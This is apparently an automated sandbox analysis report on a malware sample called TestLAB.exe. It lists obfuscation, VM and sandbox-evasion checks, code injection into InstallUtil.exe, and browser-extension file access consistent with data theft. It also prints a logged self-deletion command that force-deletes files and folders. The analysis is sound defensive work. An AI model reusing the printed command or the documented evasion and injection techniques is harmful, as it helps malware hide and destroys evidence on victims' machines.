Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2:22.ps15121Windows 11HTTP/1.1HARDWA
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: TestLAB.exe, 00000000.00000002.2023367902.0000000006B00000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: TestLAB.exe, 00000000.00000002.2023367902.0000000006B00000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: TestLAB.exe, 00000000.00000002.2011205715.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2023009276.0000000006AB0000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: TestLAB.exe, 00000000.00000002.2011205715.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2023009276.0000000006AB0000.00000004.08000000.00040000.00000000.sdmp, TestLAB.exe, 00000000.00000002.2011205715.000000000432D000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

barindex
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, gcH2GrgJKi7tBp8n60w.cs .Net Code: Type.GetTypeFromHandle(FdU48G5cs2VCVn2IesA.Dwa4eKXhYS(16777356)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(FdU48G5cs2VCVn2IesA.Dwa4eKXhYS(16777255)),Type.GetTypeFromHandle(FdU48G5cs2VCVn2IesA.Dwa4eKXhYS(16777287))})
Source: 0.2.TestLAB.exe.42dd590.4.raw.unpack, TypeModel.cs .Net Code: TryDeserializeList
Source: 0.2.TestLAB.exe.42dd590.4.raw.unpack, ListDecorator.cs .Net Code: Read
Source: 0.2.TestLAB.exe.42dd590.4.raw.unpack, TypeSerializer.cs .Net Code: CreateInstance
Source: 0.2.TestLAB.exe.42dd590.4.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateInstance
Source: 0.2.TestLAB.exe.42dd590.4.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateIfNull
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, ReflectionHelper.cs .Net Code: InvokeMethod
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, ReflectionHelper.cs .Net Code: InvokeMethod
Source: 0.2.TestLAB.exe.439b810.0.raw.unpack, XmlSerializationHelper.cs .Net Code: ReadObjectProperties
Source: 0.2.TestLAB.exe.5aa0000.6.raw.unpack, Tnatonb.cs .Net Code: Oymkxyuv System.Reflection.Assembly.Load(byte[])
Source: Yara match File source: 0.2.TestLAB.exe.6a30000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.TestLAB.exe.6a30000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.TestLAB.exe.4e1a8a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.TestLAB.exe.4e1a8a8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.TestLAB.exe.4d3b07c.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.TestLAB.exe.4cd8a28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2022449034.0000000006A30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1991482086.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1977249191.0000000004E1A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1977249191.00000000046BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: TestLAB.exe PID: 7276, type: MEMORYSTR
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040E886 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 4_2_0040E886
Source: TestLAB.exe Static PE information: real checksum: 0x2becfc should be: 0x463719
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02697F13 push ss; iretd 0_2_02697F24
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02696CFB push es; ret 0_2_02696CFD
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_026971FA push edi; iretd 0_2_026971FD
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_026928DA push ebp; ret 0_2_026928E0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_067B1EA8 push eax; ret 0_2_067B2031
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_067B1E82 push eax; ret 0_2_067B2031
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0684FA49 push es; ret 0_2_0684FA54
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_068453D3 push E8FFFFFFh; iretd 0_2_068453D8
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0684EB20 push cs; iretd 0_2_0684EB28
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0684E457 push es; retf 0_2_0684E458
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_0684FD9B push esp; iretd 0_2_0684FD9D
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06849D6F push es; ret 0_2_06849D70
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069DB6F9 push es; ret 0_2_069DB6F8
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069DB6ED push es; ret 0_2_069DB6F8
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069DB7B6 push es; iretd 0_2_069DB7C0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069DB7AE push es; ret 0_2_069DB7B0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069DB7D6 push es; iretd 0_2_069DB7E0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069D74C5 push es; ret 0_2_069D74C8
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069DC455 pushfd ; ret 0_2_069DC45D
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069DC47A push es; retf 0_2_069DC4A4
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_069F06C7 push es; ret 0_2_069F0704
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A27CBB push es; retf 0_2_06A27CBC
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A2A8C0 pushad ; ret 0_2_06A2A8C1
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A25DCF push es; iretd 0_2_06A25DD0
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A23DDB push eax; ret 0_2_06A23DF2
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A25D27 push es; iretd 0_2_06A25D28
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06A27D4F push es; retf 0_2_06A27CBC
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA3F67 push es; retf 0_2_06AA3F70
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA3577 push edi; retf 0_2_06AA3578
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA80FB push es; iretd 0_2_06AA8120
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_06AA4003 push es; retf 0_2_06AA4008
Source: 0.2.TestLAB.exe.5cf0000.7.raw.unpack, rMZYPrKehmUGG5Lc9xI.cs High entropy of concatenated method names: 'RciKgT1f8A', 'SttK5Oj3MC', 'eDyKdAerjt', 'GwtK9JUEnq', 'oYJKTk51S5', 'hpOKFjBY1E', 'Vm9KX0nIeQ', 'VCBKyM5UaI', 'v37KaFGRdZ', 'MqrKhZf5Tv'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, cjPK8dimrbYgPgY0JBA.cs High entropy of concatenated method names: 'MiBi4JNdOm', 'T1iiIUNr50', 'DvLiHOeuu5', 'KVqiwUG3jd', 'MC6iYs3bKO', 'NRdiZJc3Qy', 'zGGipvOeiF', 'PJrizuIw7u', 'wnwg7dWP4Q', 'fOZgKnjjm0'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, eaVBRj5ZSyv7YDRroCE.cs High entropy of concatenated method names: 'ALaopomyXY', 'T2kozTmfkO', 'kM9F7Pch9F', 'kGbFK2tQwt', 'pqpF29S7Ml', 'pCGF8xSMwv', 'i93FUW5XFO', 'Du6BFbG27k', 'FK8FQ4JsC1', 'Im3FfOYw4x'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, RHQtGgeHXy8NRL7dAnt.cs High entropy of concatenated method names: 'zafi9iD6gm', 'tvyiN7lHfg', 'leHiT12iEG', 'YL5HMnta6Vo9lAsysTT', 'DqNovstrUgBPQuIKUb1', 'wx5eYU2HDE', 'GpjeZCnPK6', 'ekpepfjA70', 'Cj1ez57qOg', 'Qwki7qBJ9W'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, gv8GVq5LYXVgxa9SDyq.cs High entropy of concatenated method names: 'gg65m5ZJRx', 'Uwe5tlALbL', 'Gtg5spQUbt', 'PML5EFOfTQ', 'gsS5AO1pbr', 'LZx54g5tDl', 'LyH5I9wTyH', 'DSg5HMLCGh', 'iBY5wjVb3B', 'RG05YpWUZ6'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, rMZYPrKehmUGG5Lc9xI.cs High entropy of concatenated method names: 'RciKgT1f8A', 'SttK5Oj3MC', 'eDyKdAerjt', 'GwtK9JUEnq', 'oYJKTk51S5', 'hpOKFjBY1E', 'Vm9KX0nIeQ', 'VCBKyM5UaI', 'v37KaFGRdZ', 'MqrKhZf5Tv'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, gcH2GrgJKi7tBp8n60w.cs High entropy of concatenated method names: 'AQrVuWsfDK088Fd8NKy', 'xIF6xBsSkVJi5Z9bIXO', 'Xhn5bb8HPb', 'vh0ry9Sq2v', 'JGk5dwYeiP', 'WFX5V31xwH', 'Kh159EDQOR', 'QEZ5NtnHUI', 'wnV4PAWOq1', 'UvigxyGHaT'
Source: 0.3.TestLAB.exe.4b1fbd0.1.raw.unpack, OT1i2Jfs03XufLTE9kA.cs High entropy of concatenated method names: 'k6IfAsHUG7', 'tlgfItBeRJ', 'fjmfwtbjG0', 'iLYfZNur5V', 'qIpfpNktMZ', 'woVfzMpCKc', 'UA3S7IZ2ws', 'tmySK4FdLv', 'oa2S2axfI9', 'elRS8Pmu7b'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040E886 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 4_2_0040E886
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion

barindex
Source: Yara match File source: Process Memory Space: TestLAB.exe PID: 7276, type: MEMORYSTR
Source: TestLAB.exe, 00000000.00000002.1991482086.00000000032B1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Source: C:\Users\user\Desktop\TestLAB.exe Memory allocated: 2D40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory allocated: 32B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory allocated: 3100000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Evasive API call chain: GetSystemTime,DecisionNodes
Source: C:\Windows\SysWOW64\timeout.exe TID: 6436 Thread sleep count: 84 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00413C71 SHGetFolderPathA,wsprintfA,FindFirstFileA,FindNextFileA,strcpy,_splitpath,strcpy,strlen,isupper,wsprintfA,strcpy,strlen,SHFileOperationA,FindNextFileA,FindNextFileA,FindClose, 4_2_00413C71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_004112E8 wsprintfA,FindFirstFileA,memset,memset,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,SymMatchString,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 4_2_004112E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00407891 FindFirstFileA,CopyFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,FindNextFileA,FindClose, 4_2_00407891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040A69C FindFirstFileA,StrCmpCA,CopyFileA,Sleep,DeleteFileA,FindNextFileA,FindClose, 4_2_0040A69C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00408776 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 4_2_00408776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00411D33 wsprintfA,FindFirstFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 4_2_00411D33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_004013DA FindFirstFileA,FindNextFileA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindNextFileA,FindClose, 4_2_004013DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00406784 ExpandEnvironmentStringsA,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,StrCmpCA,CopyFileA,CopyFileA,Sleep,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 4_2_00406784
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00412BBE wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 4_2_00412BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00409C78 wsprintfA,FindFirstFileA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 4_2_00409C78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00408224 FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 4_2_00408224
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0041269A GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 4_2_0041269A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00411883 SymMatchString,SymMatchString,SymMatchString,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 4_2_00411883
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040DF8C GetSystemInfo,wsprintfA, 4_2_0040DF8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BD7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW8
Source: chrome.exe, 00000005.00000003.2137860334.00006E1800C20000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=a32fa634-4b1f-4355-996e-9781bf16f67d
Source: chrome.exe, 00000005.00000003.2154898161.00006E1800C1C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=a32fa634-4b1f-4355-996e-9781bf16f67d
Source: TestLAB.exe, 00000000.00000002.1991482086.00000000032B1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware|VIRTUAL|A M I|Xen
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2389518056.0000000000BD7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: TestLAB.exe Binary or memory string: VMWare
Source: TestLAB.exe, 00000000.00000002.1991482086.00000000032B1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Microsoft|VMWare|Virtual
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: om&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:M
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\TestLAB.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040E886 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 4_2_0040E886
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02690625 mov edx, dword ptr fs:[00000030h] 0_2_02690625
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02690BE5 mov eax, dword ptr fs:[00000030h] 0_2_02690BE5
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02691235 mov eax, dword ptr fs:[00000030h] 0_2_02691235
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02691234 mov eax, dword ptr fs:[00000030h] 0_2_02691234
Source: C:\Users\user\Desktop\TestLAB.exe Code function: 0_2_02690F95 mov eax, dword ptr fs:[00000030h] 0_2_02690F95
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040D84A lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrcpyA,lstrcatA, 4_2_0040D84A
Source: C:\Users\user\Desktop\TestLAB.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion

barindex
Source: Yara match File source: Process Memory Space: TestLAB.exe PID: 7276, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 7688, type: MEMORYSTR
Source: C:\Users\user\Desktop\TestLAB.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040F029 CreateToolhelp32Snapshot,Process32First,StrCmpCA,Process32Next,StrCmpCA,CloseHandle, 4_2_0040F029
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040F0CA CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle, 4_2_0040F0CA
Source: C:\Users\user\Desktop\TestLAB.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 419000 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 41D000 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 41F000 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 420000 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 421000 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 959008 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" & rd /s /q "C:\ProgramData\jmyua" & exit Jump to behavior
